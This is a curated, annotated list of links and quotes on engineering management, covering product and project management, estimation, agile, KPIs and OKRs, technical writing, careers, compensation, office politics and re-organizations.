- [Reverse Engineering A Successful Lifestyle Business](https://web.archive.org/web/20230129184848/http://www.toomas.net/2017/07/18/reverse-engineering-a-successful-lifestyle-business-heres-everything-ive-learned-from-reading-indiehackers-com/) - Targets lifestyle entrepreneur, but still full of fantastic quotes from reference books on customer relation, pricing and marketing a product.
- [The Atlassian Syndrome](https://twitter.com/maikzumstrull/status/1309497246946406400) - Your organization will end up with Atlassian products because “their business model is: 1. Collect requirement lists from customers and prospective customers; 2. Make sure their product checks every damn box, no matter how stupid.”
- “Linear roadmaps are misleading” ([source](https://twitter.com/PavelASamsonov/status/1296818042928861184)).
### User-Centered Design
On how to focus on user's problem to have your product delivers value.
- [The product roadmap is dead: welcome to the age of problem roadmaps](https://medium.com/product-managers-at-work/the-product-roadmap-is-dead-welcome-to-the-age-of-problem-roadmaps-7c7745ac8ae0) - “Fall in love with your problems and not with your solutions.”
- [Kasparov's Law](https://web.archive.org/web/20220120220730/https://curatedintelligence.wordpress.com/2017/10/20/kasparovs-law/) - Weak human + Machine > Machine > Strong Human.
- [The Psychology of Design](https://growth.design/psychology/) - An extensive list of cognitive biases and design principles with examples and tips to fine-tune your product and UX.
### Product Marketing
How to find users, grow your customer base and make people talks about you product.
- [Marketing for Engineers](https://github.com/LisaDziuba/Marketing-for-Engineers) - Lots of resources to help bootstrap your marketing activies and solve practical tasks.
- [How the biggest consumer apps got their first 1,000 users](https://www.lennyrachitsky.com/p/how-the-biggest-consumer-apps-got) - How the biggest apps out there started: from going to your user directly (both online and offline), creating FOMO and word-of-mouth, to build a community first and get press.
## Project Management
If product management is about *what* is to be developed of the product, then project management activities answers on *how* to deliver that development. It is all about the execution, with a particular attention to delivery critical path and planning.
But don't worry too much, every company has its own definition of the two roles, and sometimes hybrid positions.
- [Let's have no managers, instead of managers with no engineering experience](https://medium.com/hackernoon/lets-have-no-managers-instead-of-managers-with-no-engineering-experience-e8b7cd29d398) - The title is misleading, article's argument is: we don't need *project* managers if we already have *product* managers and scrum masters.
- [Best project management practices in 2018?](https://news.ycombinator.com/item?id=16377523) - There is no silver bullet.
- [Strategies for long Projects](http://benbrostoff.github.io/2019/09/28/long-projects.html) - Relentless, irrational optimism; Daily progress documentation; Compounding investments; Time budgeting.
- [Developers can't fix bad management](https://iism.org/article/developers-can-t-fix-bad-management-57) - “Why do so many software projects fail? Software development is much closer to creating a new factory than running an existing factory. (…) Software development is made up of many unknown duration tasks, this fundamentally unpredictable nature makes traditional management's predictive planning techniques particularly unsuited for software projects.”
### Specifications
- “Walking on water and developing software from a specification are easy if both are frozen.” Edward V. Berard - [Essays on object-oriented software engineering](https://www.amazon.com/dp/0132888955?&linkCode=ll1&tag=kevideld-20&linkId=559e579e5b00fde12559bbbb91ec1b95&language=en_US&ref_=as_li_ss_tl).
- [The art of destroying software](https://www.youtube.com/watch?v=Ed94CfxgsCA) - Greg Young described a good way to deal with requirements volatility: optimize from the beginning to be able to delete your code, and structure your code so that any part of it is no bigger than 1 week's worth of coding. So that any part can be re-written in 1 week.
- [Requirements volatility is the core problem of software engineering](https://stackoverflow.blog/2020/02/20/requirements-volatility-is-the-core-problem-of-software-engineering/) - “Start by accepting that change is inevitable. (…) As a consequence of this, software is never finished, only abandoned. (…) This means that no software product is ever exactly, perfectly satisfactory.”
### Estimations
Time management and planning starts with estimates, but often degenerates into deadlines.
- [Don't (guess)timate your projects, forecast with confidence](https://www.reaktor.com/blog/forecasting-method/) - “The problem with spending a lot of time on estimating is that it can feel useful, but often is so inaccurate that it hardly yields much value to the business.” The best we can do is measure and forecast.
- [Dear Startup: You have no idea how much that costs](http://kyleprifogle.com/dear-startup/) - “We are completely clueless about how long things should take.” Here is a [trick to handle expectation of unreasonable estimates](https://news.ycombinator.com/item?id=21069178).
- [Escalation of commitment](https://en.wikipedia.org/wiki/Escalation_of_commitment) - A.k.a. sunk-cost fallacy, or the rational explanation of why the hell do we still irrationally keep investing in a bad project.
- [Who are you trying to impress with your deadlines?](https://web.archive.org/web/20200102054540/http://jatins.gitlab.io/me/why-deadline/) - “There are companies where those deadlines are set in stone, and a missed deadline is next to fire. That's when the problem starts.”
- [Apple Aperture: Senior QA](https://techreflect.net/2019/12/10/aperture-senior-qa-2004-2005/) - How not to manage projects approaching deadlines: “cutting finished features, yelling at people, and working people to the point of nervous breakdowns. Then they came upon a brilliant idea: let's steal over a hundred engineers from other teams and then the project will magically get done on time.”
- [Robert "Uncle Bob" Martin talk about professionalism in software development](https://youtu.be/LmRl0D-RkPU?t=3202) - The only honest estimate is "I don't know". But you can come up with some kind of propability assessment, that will inform about the shape of the risk. This is not unlike PERT, where an activity is bounded by [optimistic, pessimistic and most-likely time](https://en.wikipedia.org/wiki/Program_evaluation_and_review_technique#Time). Now if managers don't take a range for an answer, don't fall in that trap. Tell them you're already trying as you possibly can. “And then the manager will have to do something very foreign: they'll have to manage. That's what management is: managing risk.”
- [Why software projects take longer than you think: a statistical model](https://erikbern.com/2019/04/15/why-software-projects-take-longer-than-you-think-a-statistical-model.html) - “Confirms the hunch that developers estimate the median well, but the mean ends up being much higher.”
- [Developers spend most of their time figuring the system out](https://lepiter.io/feenk/developers-spend-most-of-their-time-figuri-9q25taswlbzjc5rsufndeu0py/) - “A hand drawn picture about the current system is a belief. Decisions should never be based on beliefs. Not in engineering. (…) As software is highly contextual we cannot predict specific problems. We can only predict classes of problems.” And that's why it is hard to estimate software projects: because developer's main activity is a long process of deducting the assumptions a system is built on.
- [Software effort estimation is mostly fake research](https://shape-of-code.com/2021/01/17/software-effort-estimation-is-mostly-fake-research/) - “The NASA dataset contains 93 rows (that is not a typo, there is no power-of-ten missing), COCOMO 63 rows, Desharnais 81 rows, and (…) the China dataset contains 499 rows.”
### Tickets
- [There Are No Bugs, Just TODOs](https://almad.blog/essays/no-bugs-just-todos/) - Issue trackers needs to materialize ownership, queue position, state, task breakdown and aggressive closing. Priority, ticket type, software version, severity and long-life tickets are anti-patterns.
- [GitHub labels for reuse across projects](https://twitter.com/abdonrd/status/991697736230633474) - Simple yet practical.
## Agile
- [The SAFe Delusion](https://safedelusion.com) - Curated review of facts, evidence, and opinions from relevant sources without vested interests, to help decision-makers make informed choices and get better results.
- [How Big Tech Runs Tech Projects and the Curious Absence of Scrum](https://newsletter.pragmaticengineer.com/p/project-management-in-tech) - There's an interesting table in this article on the strereotypes of companies, their funding models, main engineering actors, and their central methodologies.
- [Why do some developers at Google consider Agile development to be nonsense?](https://www.quora.com/Why-do-some-developers-at-strong-companies-like-Google-consider-Agile-development-to-be-nonsense/answer/David-Jeske) - Because the short-term focused Scrum processes “seem suited to particular types of development, most notably consulting or contract programming, where the customer is external to the organizations, runs the show because they are paying for development, and can change their mind at any time”. Still, google engineers already practice a culture close to what looks like the original 10-points Agile manifesto. But that's it.
- [Story Points Revisited](https://ronjeffries.com/articles/019-01ff/story-points/Index.html) - The alleged inventor of story points says they are probably a mistake.
- [Detecting Agile Bullshit](https://media.defense.gov/2018/Oct/09/2002049591/-1/-1/0/DIB_DETECTING_AGILE_BS_2018.10.05.PDF) - US Department of Defense guide to detect software projects that are really using agile development versus those that are simply waterfall or spiral development in agile clothing (“agile-scrum-fall”).
- “The fundamental problem that drives most agile failures isn't in the team's execution, it's in the business' expectations. One side is signed up for incremental delivery, and one side is set up for a fixed scope and deadline and the result is misery.” ([source](https://news.ycombinator.com/item?id=20326074))
- [Failed #SquadGoals - Spotify doesn't use "the Spotify model" and neither should you](https://www.jeremiahlee.com/posts/failed-squad-goals/) - “Why it didn't work? 1. Matrix management solved the wrong problem; 2. It fixated on team autonomy; 3. Collaboration was an assumed competency; 4. Mythology became difficult to change”.
- [Recurring opinions or productive improvements — what agile teams actually discuss in retrospectives](https://link.springer.com/article/10.1007/s10664-016-9464-2) - An 3-years analysis of a team's retrospectives, with dire conclusions: people keep forgetting what they already learned, keep discussing unsolveable problems out of their control, and keep debating opinions based on biased interpretations or incorrect understandings.
## Key Performance Indicator (KPI)
KPIs are a set of quantitative measurements at the team or organizational level, to measure the success of the business.
- “Numerical goals set for other people, without a road map to reach the goal, have effects opposite to the effects sought.” - [W. Edwards Deming](https://www.amazon.com/Out-Crisis-W-Edwards-Deming/dp/0911379010?_encoding=UTF8&qid=&sr=&linkCode=ll1&tag=kevideld-20&linkId=ec7a442a2cd5bfcfb5b6c32ea1409f2f&language=en_US&ref_=as_li_ss_tl)
- [SRE fundamentals: SLIs, SLAs and SLOs](https://cloudplatform.googleblog.com/2018/07/sre-fundamentals-slis-slas-and-slos.html) - If you are in the business of cloud services, these metrics are certainly great KPIs.
- [The 4 Worst Software Metrics Agitating Developers in 2019](https://www.gitclear.com/blog/the_4_worst_software_metrics_agitating_developers_in_2019) - The worst KPIs to track a software team output: Lines of Code, Commit Count, Issues Resolved (aka “Shipping Velocity”) and Code Churn (aka "Efficiency").
## Objectives and Key Results (OKR)
OKRs are a framework. Extending KPIs, they applies individually to each members of an organization, down to the IC level. In theory, everyone is supposed to have its own set of OKRs.
- [OKRs from a development team's perspective](https://zafulabs.com/2019/05/24/okrs-from-a-development-teams-perspective/) - On how OKRs articulates with a backlog.
- [Team Objectives – Overview](https://svpg.com/team-objectives-overview/) - Why OKRs might not work at your company: 1. You're still using feature teams instead of product teams; 2. Mixed-up manager and individual objectives; 3. Leadership opting-out of active management.
- “One way in which I've seen OKRs used effectively is as a defense against the type of middle or upper manager who is constantly coming up with new ideas or tasks.” ([source](https://news.ycombinator.com/item?id=19550614)) - Or how OKRs can be weaponized to prevent top managers to mess with the (already established) schedule.
- [Why individual OKRs don't work for us](https://hrblog.spotify.com/2016/08/15/our-beliefs/) - Spotify decision to stop using OKRs for individuals.
- [Google's usage of OKRs](https://news.ycombinator.com/item?id=17492038) - OKR grades are public, but not used for promotion. It was never taken very seriously there.
- [Awesome OKR](https://github.com/domenicosolazzo/awesome-okr) - There is no shortage of content on how to measure and communicate objectives.
## Training
On mentoring, education and learning.
- [Developers mentoring other developers: practices I've seen work well](https://blog.pragmaticengineer.com/developers-mentoring-other-developers/) - Discusses mentorship practices that work well engineer-to-engineer.
- [What Medieval People Got Right About Learning](https://www.scotthyoung.com/blog/2019/06/07/apprenticeships/) - “Why apprenticeships beat classrooms”.
- [Developer Roadmaps](https://roadmap.sh/roadmaps) - Very high-level guides and paths to learn different practice and tools.
## Communication
It is not only about reading, writing and talking. It encompass all the social practice and context sharing of the team's activities.
Especially a software team, which generates a huge amount of knowledge. All this knowledge is fragile and about to be lost for good. Unless you materialization it in the form of writing.
### Knowledge
On knowledge surrounding a team.
- [What senior engineers do: fix knowledge holes](http://www.mooreds.com/wordpress/archives/3232) - “This is the textbook definition of a senior engineer. You see a problem, you solve it (thoroughly), you document it and you level up your team.”
- [Chesterton's fence](https://en.wikipedia.org/wiki/Wikipedia:Chesterton%27s_fence) - “If you're considering nominating something for deletion, or changing a policy, because it doesn't appear to have any use or purpose, research its history first.” It's not we'd like to play conservative here, but because we need to fix the knowledge hole as described above.
- [You're Not Managing a Team of Software Engineers, You're Managing a Team of Writers](https://medium.com/coaching-notes/youre-not-managing-a-team-of-software-engineers-you-re-managing-a-team-of-writers-b263d3a10cc7) - Because writing software is “a creative process which is by its nature unpredictable and personal, in an environment which craves certainty, predictability and consistency.”
### Reading
Before you know how to write, you need to know how to read.
- [How to Read a Paper](http://svr-sk818-web.cl.cam.ac.uk/keshav/papers/07/paper-reading.pdf) - Outlines a practical and efficient three-pass method for reading research papers.
### Documentation
The various forms of technical writing, their structure and target audience.
- [What nobody tells you about documentation](https://www.divio.com/blog/documentation/) - There is four kinds of documentation: tutorials, how-to guides, explanation and reference. Each with their own structure and mode of writing.
- [Flying Circus Platform - Disaster recovery](https://flyingcircus.io/doc/reference/security/disaster-recovery.html#disaster-recovery) - Critical infrastructure which aims to be available 24/7 needs a [Disaster Recovery Plan](https://en.wikipedia.org/wiki/Disaster_recovery). It generally takes the form of a document providing an overview of the expected severe failures and a set of procedures on how the system and the team operating it is prepared to deal with. The one linked here is a great example of such document, and is strong evidence the team is prepared for the worse.
### Writing
General advices on how to convey meaning and clarity by mastering the style. If badly written, your documentation is likely to have poor usage and utility.
- [How to Write a Technical Paper](https://pdfs.semanticscholar.org/441f/ac7c2020e1c8f0d32adffca697bbb8a198a1.pdf) - Serves as a guideline on how to write a good technical paper, in the form of a typical journal publication.
- [Learning Technical Writing Using the Engineering Method](https://www.cs.tufts.edu/~nr/pubs/learn.pdf) - An alternative approach, involving a weekly meeting of a writing group. An interesting dynamic to gather feedback and experience.
- [Technical Writing Courses](https://developers.google.com/tech-writing) - This collection of courses and learning resources aims to improve your technical documentation. Learn how to plan and author technical documents. You can also learn about the role of technical writers in a company.
- [Algorithm for writing a scientific manuscript](https://sci-hub.st/https://iubmb.onlinelibrary.wiley.com/doi/full/10.1002/bmb.20329) - A process to guide the preparation and refinement of manuscripts.
- [The Baldwin Formula for scientific writing: writing papers and reviews](https://www.ice.mpg.de/ext/fileadmin/extranet/dept_itb/The_Baldwin_Formula_for_writing_a_scientific_paper_and_reviewing_papers.pdf) - “The most efficient way to write scientific papers is to write while you are still conducting experiments”.
- [Ten simple rules for structuring papers](https://www.biorxiv.org/content/10.1101/088278v5.full.pdf) - “Focusing on how readers consume information, we present a set of 10 simple rules to help you get across the main idea of your paper.”
- [Tips for Writing Technical Papers](https://cs.stanford.edu/people/widom/paper-writing.html) - Another set of tips, specifically using the example of a technical paper describing an improvement of an algorithm.
- [Write an Excellent Programming Blog](https://speakerdeck.com/pycon2016/a-jesse-jiryu-davis-write-an-excellent-programming-blog) - Tips on structure and style to produce great blog posts.
- [Ten simple rules for getting started on Twitter as a scientist](https://journals.plos.org/ploscompbiol/article?id=10.1371/journal.pcbi.1007513) - Twitter “can be used in a much more active, collaborative way: to ask for advice, to form new bonds and scientific collaborations, to announce jobs and find employees, to find new mentors and jobs.”
- [Notes on Technical Writing](https://mkaz.blog/misc/notes-on-technical-writing/) - An effective list of do and don't when it comes to writing documentation.
- [Writing for Business](https://docs.google.com/document/d/1PqbdAnYM79tLvO3yWCt2QH2T1HuQ58poNUsM7QzuE-c) - Some tips on how to write in a business context.
### Style
Once you have the right structure and content thanks to advices above, you can now copy-edit and fine tune your style with the tools below.
- [Please don't say just hello in chat](https://nohello.net/en/) - When properly used, interactive written medium allows for asynchronous communication.
- [BLUF: The Military Standard That Can Make Your Writing More Powerful](https://www.animalz.co/blog/bottom-line-up-front/) - “BLUF is a military communications acronym—it stands for “bottom line up front”—that's designed to enforce speed and clarity in reports and emails.”
- [LanguageTool](https://languagetool.org) - Proofreading for grammar, style and spell checking.
- [English Lint](https://github.com/killercup/english-lint) - A Rust CLI to detect weasel words, passive voice and lexical illusions.
- [`proselint`](https://github.com/amperser/proselint/) - Places the world's greatest writers and editors by your side, where they whisper suggestions on how to improve your prose.
- [Bias-free communication](https://docs.microsoft.com/en-us/style-guide/bias-free-communication) - Microsoft's guide on how to improve writing to be more inclusive and diverse.
- [alex](https://github.com/get-alex/alex) - Whether your own or someone else's writing, alex helps you find gender favoring, polarizing, race related, religion inconsiderate, or other unequal phrasing in text.
- [BlaBlaMeter - Bullshit detection tool](http://www.blablameter.com/) - Produce a normalized metric of the bullshit content of a text.
- [Marketing BS Detector](http://marketingbs.whiterhino.com) - Same as above, but with some tips given.
- [The Punctuation Guide](https://www.thepunctuationguide.com) - Simple reference on how (and why) to use these special characters.
- [Improve Your Writing With The GNU Style Checkers](https://www.linux.com/news/improve-your-writing-gnu-style-checkers/) - How to use `style` and `diction`, two venerable GNU utilities.
- [JStylo & Anonymouth](https://github.com/spencermwoo/anonymouth) - Authorship attribution analysis tool and evasion (anonymization) framework.
### Presentations
- [It's time to start writing](https://alexnixon.github.io/2019/12/10/writing.html) - On “Jeff Bezos's dotcom-era policy of banning PowerPoint within Amazon”, and how “this is neither about powerpoint nor about reading - it's about thinking.”
- [Presentation Rules](https://web.archive.org/web/20220720230551/http://www.jilles.net/perma/2020/06/05/presentation-rules.html) - A set of 16 rules to avoid boring and ineffective presentations, and have your message reach your audience.
- [The Greatest Sales Deck I've Ever Seen](https://medium.com/the-mission/the-greatest-sales-deck-ive-ever-seen-4f4ef3391ba0) - “1. Name a big change in the world; 2. Show there'll be winners and losers; 3. Tease the promised land; 4. Introduce features as "Magic Gifts"; 5. Present evidence that you can make the story come true.”
- [Some tips on public speaking](https://news.ycombinator.com/item?id=6199544) - “If you ever find yourself buffering on output, rather than making hesitation noises, just pause. People will read that as considered deliberation and intelligence.”
## Career
Now that you've proven your worth as a front-line manager, what's the next step? These articles explore the follow-up roles, from managing managers, to director, and everything in between.
- [Work at different management levels](https://larahogan.me/blog/manager-levels/) - A great progressive breakup of what it feels like to work at different levels of management.
- [Levels of abstraction in engineering management](https://medium.com/@rvprabhu/levels-of-abstraction-in-engineering-management-6bac9410e89a) - Another take on the differences between Manager, Manager of Managers, Head of Org and Head of Function.
- [My questions for prospective employers (Director/VP roles)](https://jacobian.org/2019/apr/23/questions-for-employers-director-vp/) - Be prepared to ask them as a recruiter or being asked about them for senior management roles.
- [Founder to CEO](https://docs.google.com/document/d/1ZJZbv4J6FZ8Dnb0JuMhJxTnwl-dwqx5xl0s65DE3wO8/) - You can build you own career engine, starting as a technical founder of a startup, building a great team, then grow with the company to learn and become a full-fledge CEO.
- [How title, money and scope affect your fulfillment](https://twitter.com/shreyas/status/1268372416427786240) - “For talented mid-career folks, when making job changes, how do you rank: 1. Title 2. Money 3. Scope”.
- [Amazon Wants to 'Win at Games.' So Why Hasn't It?](https://www.wired.com/story/amazon-wants-to-win-at-games-so-why-hasnt-it/) - “Any product manager can go between any business—from groceries to film to games to Kindle. The skillset is interchangeable. They just have to learn the particular market.”
- “Since managers are not tied to a sector (in the way nurses or musicians are), the good ones tend to go where they are payed good money and the bad ones end up wreaking havoc where they are payed at least some money. That, also, is [Baumol](https://en.wikipedia.org/wiki/Baumol%27s_cost_disease) in action.” ([source](https://news.ycombinator.com/item?id=20448929)) - Explains how the pool of professional managers gets distributed into the various sectors of the economy.
### Promotion
Stepping stones advancing a career in a company takes the form of promotions. They unlock raises, bonuses and more responsibility.
- [How do managers get stuck?](http://www.elidedbranches.com/2017/09/how-do-managers-get-stuck.html) - Identify scenario preventing managers to be promoted at the next level.
- [The Evolution of Management: Transitioning up the ladder](https://queue.acm.org/detail.cfm?id=3350548) - Describe the path and expectations at each management level.
- [If management isn't a promotion, then engineering isn't a demotion](https://charity.wtf/2020/09/06/if-management-isnt-a-promotion-then-engineering-isnt-a-demotion/) - This essay deconstruct why management ends up being seen as a promotion, how its new acquired privileges and powers creates an implicit hierarchy, which in turns creates bad incentives because of loss aversion. At the end, the only way forwards is to change the organization's culture.
- [How to discipline overeager engineer](https://workplace.stackexchange.com/questions/145709/how-to-discipline-overeager-engineer) - Over-achieving talent is looking for a management promotion. Management does not recognize effort. Engineer become disgruntled and management is looking to discipline him. A case-study of a bad situation in which both side shows clumsiness.
- “Most people realize by their 30s that prestige is a sucker's game” ([source](https://news.ycombinator.com/item?id=11833832)) - Do not chase promotion for the title only.
- [For all you future CTOs, consider your incentive schemes carefully](https://news.ycombinator.com/item?id=24463676) - How a promotion scheme marked the end of Uber's engineering excellence and the start of what made the company turn into a bureaucratic mess.
- [How to get promoted](https://defmacro.substack.com/p/how-to-get-promoted) - The cynical take: “an opportunist's career advice is: ignore OKRs, switch projects well before the consequences of your decisions can be measured, act happy and easy-going, package bad news as appeals for slow systemic adjustments, don't make anyone look bad, perform rituals with enthusiasm, grow headcount faster than baseline, let work invent itself, follow management fashions, avoid acute failures, believe this sincerely.”
### Performance Reviews
Reviews and performance evaluations are the tool of the trade to unlock promotions. As a manager, your going to write and instrument them for your team members to get the raise they deserve. And getting through them as any other employee to advance your career.
- [Get your work recognized: write a brag document](https://jvns.ca/blog/brag-documents/) - There's this idea that, if you do great work at your job, people will (or should!) automatically recognize that work and reward you for it with promotions / increased pay. In practice, it's often more complicated than that.
- [Incentive Pay Considered Harmful](https://www.joelonsoftware.com/2000/04/03/incentive-pay-considered-harmful/) - “Incentives (or bribes) simply can't work in the workplace. (…) Most software managers have no choice but to go along with performance review systems that are already in place. If you're in this position, the only way to prevent teamicide is to simply give everyone on your team a gushing review”.
- “If anything in your performance review is a surprise, then I have failed as a manager.” ([source](https://news.ycombinator.com/item?id=17249767)).
- “This is what I loved about working at Netflix. We didn't have performance reviews. It was assumed that your performance was good to excellent, otherwise you wouldn't be working there anymore. You had a constant feedback loop with your manager on performance, but nothing was ever formal.” ([source](https://news.ycombinator.com/item?id=23861960)).
- “The system a software developer works in shapes their performance so much more than individual differences.” ([source](https://news.ycombinator.com/item?id=21972033)).
- [Performance review generator](https://mschmitt.org/performance/) - Tired of writing reviews? Automate it!
## Compensation
It's not only about the salary, but the whole package: equity, bonuses, perks, and the dealings around all of these.
### Salary
- [levels.fyi](https://www.levels.fyi) - Compares salary range and compensation charts across big tech companies.
- [benefits.fyi](https://benefits.fyi) - Same as above, but trying to evaluate the values of benefits across companies.
- [L8-L10 salaries at AWS](https://news.ycombinator.com/item?id=21823987) - A reference point to what \$M+ compensation packages looks like.
- [Salaries never stay secrets forever. Hiding them only delays the inevitable.](https://news.ycombinator.com/item?id=2439478)
### Equity
- “Never accept a lower salary in exchange for equity.” ([source](https://news.ycombinator.com/item?id=21868845))
- [On VC funding and huge growth](https://news.ycombinator.com/item?id=17448035) - “Startups need an exit strategy. (…) The idea is to raise money fast, hire experienced people for ancillary services and develop the application in a way so that it is able to hold up till IPO. Defer all costs for post IPO.” So from this angle, the only reason to join a startup is for future money windfall.
- [Equity Compensation](https://www.holloway.com/g/equity-compensation) - Stock options, RSUs, job offers, and taxes—a detailed reference, including hundreds of resources, explained from the ground up and made to be improved over time.
- “Public RSUs for stock you can sell immediately on the open market are fantastic.” ([source](https://news.ycombinator.com/item?id=22386728)).
## Politics
Here we are, at the intersection of power and influence lies the political game. If its nature and intensity is sourced from the company's core culture and history, you're unfortunately unlikely to avoid it past a certain hierarchical level. Be prepared.
- [About corporate middle management](https://news.ycombinator.com/item?id=28336658) - “As a manager in a large corporation you are expected to be an aligner. (…) You have to manage frictions and strive to make the people above you look good.”
- “Politics is how a middle manager runs interference and creates distractions to make sure you can't see over, around, or through them, and that the people behind them closer to the money can't see you.” ([source](https://news.ycombinator.com/item?id=22808280)).
- [HiPPO FAQ](https://exp-platform.com/hippo/) - HiPPO stands for “Highest Paid Person's Opinion”, a trait of dysfunctional culture, in which power politics trumps data.
- [The Prince](https://en.wikipedia.org/wiki/The_Prince) - Machiavelli's ideas on how to accrue honor and power as a leader. Resorting to that level of politics in a company is a sure way to render the culture highly toxic, as well as corrupting and demoralizing the organization at all levels.
- [The Gervais Principle](https://www.ribbonfarm.com/the-gervais-principle/) - A cynical, bleak, but still fascinating take on the management ladder, based on *The Office*.
- [The 48 Laws of Power](https://www.amazon.com/dp/0140280197?&linkCode=ll1&tag=kevideld-20&linkId=bf129d7f7a3495a445cf2bf667d3d3c6&language=en_US&ref_=as_li_ss_tl) - By Robert Greene. Can teach you how to cover your ass and be effective in a highly political org.
- [Selectorate theory](https://en.wikipedia.org/wiki/Selectorate_theory) - “In selectorate theory, three groups of people affect leaders. These groups are the nominal selectorate, the real selectorate, and the winning coalition. (…) To remain in power, leaders must maintain their winning coalition.”
- [Circulation of elite](https://en.wikipedia.org/wiki/Circulation_of_elite) - “Changes of regime, revolutions, and so on occur not when rulers are overthrown from below, but when one elite replaces another.”
- [The Rules for Rulers](https://www.youtube.com/watch?v=rStL7niR7gs) - “Smart key supporters will always watch the balance of power, ready to change allegience if the ruler look to be the loser in a shifting web of alliances. (…) Buy all the loyalty you can, because loyalty, in dictatorial organizations of all kinds, is everything.”
- “Playing the game well is now front and center” ([source](https://news.ycombinator.com/item?id=21925738)), or why the [Key practices for achieving large professional goals](https://nodramadevops.com/2019/12/key-practices-for-achieving-large-professional-goals/) is missing the parts about office politics.
- [“Company I've worked for had manager who tried to ship features over the weekend with a ragtag team of developers who don't understand why that's a bad idea.”](https://news.ycombinator.com/item?id=22285123) - Tactics of hustling managers, and how the company reacting to that kind of manager makes or break a good place to work.
- [Making Nice or Faking Nice? Exploring Supervisors' Two-Faced Response to their Past Abusive Behavior](https://onlinelibrary.wiley.com.sci-hub.st/doi/10.1111/peps.12424) - “It behooves organizations that want to develop highly authentic supervisors or organizational climates to seek to hire supervisors that are lower (or at least not higher) on symbolized moral identity.”
- “The actual power wielded by a high level executive is usually inversely proportional to the size of the organization they manage.” (source: [comment](https://news.ycombinator.com/item?id=20260498) on [Why large companies are so difficult to rescue](https://news.ycombinator.com/item?id=20260114)).
- “Cutting costs gets you a raise. Delivering a big project is a path to promotion.” ([source](https://news.ycombinator.com/item?id=21230771))
- “You know your game fails when you read in the news about the feature you are supposed to have.” ([source](https://news.ycombinator.com/item?id=20220484)). A team learning about its roadmap at the same time of the general public is a sure sign something is wrong.
- “In a highly political environment there are two ways to create change, one is through overt manipulation, which is to collect political power to yourself and then exert it to enact change, and the other is covert manipulation, which is to enact change subtly enough that the political organism doesn't react. (sometimes called "triggering the antibodies").” ([source](https://news.ycombinator.com/item?id=5541517)).
- [Power Bends Light](https://honkathon.com/2019-08-18-power-bends-light/) - “Most things at most startups are perpetually on fire, but if you can accept that, there is a lot to like. One well-known one: at a fast-growing startup, a hard-working, talented person who has some support from company leadership can often acquire an impressive title (or at least a lot of de facto power) very quickly.”
- “It's common to promote someone to just get rid of that person :) Sometimes promoting is just easier that firing.” ([source](https://news.ycombinator.com/item?id=21767734)).
- [US spy manual has tips for coping with toxic bosses](https://qz.com/work/1717297/how-to-cope-with-a-toxic-boss-according-to-a-us-spy-manual-from-wwii/) - Derived from WWII-era [Simple Sabotage Field Manual](https://archive.org/details/SimpleSabotageFieldManual), a classic read to spot harassing and demoralizing behaviors.
- [4 Clues to Identify a Destructive Leader](https://articles.tilt365.com/identify-destructive-leadership-patterns/) - “1. I'm kind of a big deal! 2. None of this is my fault! 3. Just do what I say! 4. Trust me; I'm never wrong.”
- “The president of MIT told me that tenure was not about research, productivity, or merit. It was about office politics & being liked by your department.” ([source](https://threadreaderapp.com/thread/1494369809538195456.html)) - Contemplating to switch from the industry? The grass is not greener in academia. Given a significant size, any organization comes with its political game.
## Re-organizations
As a manager, you have direct responsability of the structure of the team. Past a certain size (around 8 to 12 depending on sources), you no longer have time to work with direct ICs, so you need to re-organize the team.
At a company level, re-orgs are mostly strategic and your influence on them depends on your political acumen.
### Team-level
- [Why it's difficult to build teams in high growth organisations](https://jchyip.medium.com/why-its-difficult-to-build-teams-in-high-growth-organisations-e1aee8446337) - Describes 3 different approach a manager can take to accommodate new people in the team: 1. Sink or Swim; 2. Split and Absorb; 3. Absorb and Split.
- [Teams are like bread](https://blog.jessitron.com/2019/06/15/teams-are-like-bread/) - Resonates with the *Absorb and Split* strategy discussed above: “if you have one team where the magic is flourishing, don't kill it. Feed it, grow it, and let it be a source of further strong teams. No rushing.”
- [Building a data team at a mid-stage startup: a short story](https://erikbern.com/2021/07/07/the-data-team-a-short-story.html) - Story of a manager trying to distill the concepts of a data-driven company while growing a tiny team of 3 people. Each step covers the evolution of the technical pipeline and interactions with existing stakeholders.
- [If I Close My Data Centers, What About the People/Jobs Lost?](https://news.ycombinator.com/item?id=17329028) - F50's data centers being migrated to commercial cloud provider. But what about the people currently doing legacy stuff? The answer: retrain.
- “This is the managerialist dream. To replace employees' judgement and competence with a process and management methodology. (…) It never works.” ([source](https://news.ycombinator.com/item?id=20881308)). And why the retraining answer above is the best one.
- [I've Built Multiple Growth Teams. Here's Why I Won't Do It Again.](https://conversionxl.com/blog/dont-build-growth-teams/) - “Few folks understand probability, and most executives don't care about the data, regardless of what it says.”
### Company-level
- [The SaaS Org Chart](https://sacks.substack.com/p/the-saas-org-chart) - Blueprints of an organization at each stage of its 50/125/400/1000-employees stages, with typical ratios and ARR.
- “If you have dealt with large, completely incompetent organizations and wondered how the hell they actually keep going - theres your answer. If built correctly it's genuinely difficult to mess things up.” ([source](https://news.ycombinator.com/item?id=20533922)). I.e. the structure of the organization is quintessential to its longevity.
- [A high-resilience org chart](https://jessitron.com/2021/05/26/a-high-resilience-org-chart/) - “If you know what problem you're solving and you know how to solve it, a bureaucratic organization will do. Stick with what you know. If you're writing software, that's a generative activity. You need a high-resilience org chart. Fewer boxes, more flexibility.”
- [An Alternative Approach to Re-Orgs At Your Company](https://caseyaccidental.com/alternative-approach-re-orgs/) - “Trying not to repeat re-org mistakes, we started working on a structure that would make the re-org act like a feedback-fueled progress driven by the teams instead of by people above them.” This is an attempt to extract from the ground up signals pointing to inadequate structure. My cautionary tale: this might only work up to a point depending on the company's culture.
- “When everything is great success, people behind that success shadow the people who could make success in the future. (…) Netflix is great example of how to do big transition right. Netflix was in renting DVDs by mail business. When the decision to move to streaming was made, Netflix CEO did not allow managers who responsible for DVD renting business into meetings where the future was planned.” ([source](https://news.ycombinator.com/item?id=21395557)).
- [Speaking Truth to Power: Reflections on My Career at Microsoft](https://onezero.medium.com/speaking-truth-to-power-reflections-on-a-career-at-microsoft-90f80a449e36) - After 3 decades in a deeply flawed company, the author comes to a humble conclusion: leaders should embodies the value of their employees. Not the other way around. “Changes at the top — not speeches, training or hashtags — make the most cultural impact. If you want real and lasting cultural change, sweep away the made-men who succeeded under the previous culture and promote the people who look, act, and think more like their employees than their managers.”
### Acquisition
A special case of re-org, that might take the form of inclusion, absorbtion or dissolution of the acquired company.
- [How the Digg team was acquihired](https://lethain.com/digg-acquihire/) - Acqui-hire of a whole team can be seen as a type of reorg. In which managers will have to negotiate the new employment contracts in bulk in one or two days: “Because acquihires are “star” oriented, if you're a senior leaders who doesn't explicitly refuse to move forward, pressure will converge on you from all sides”.
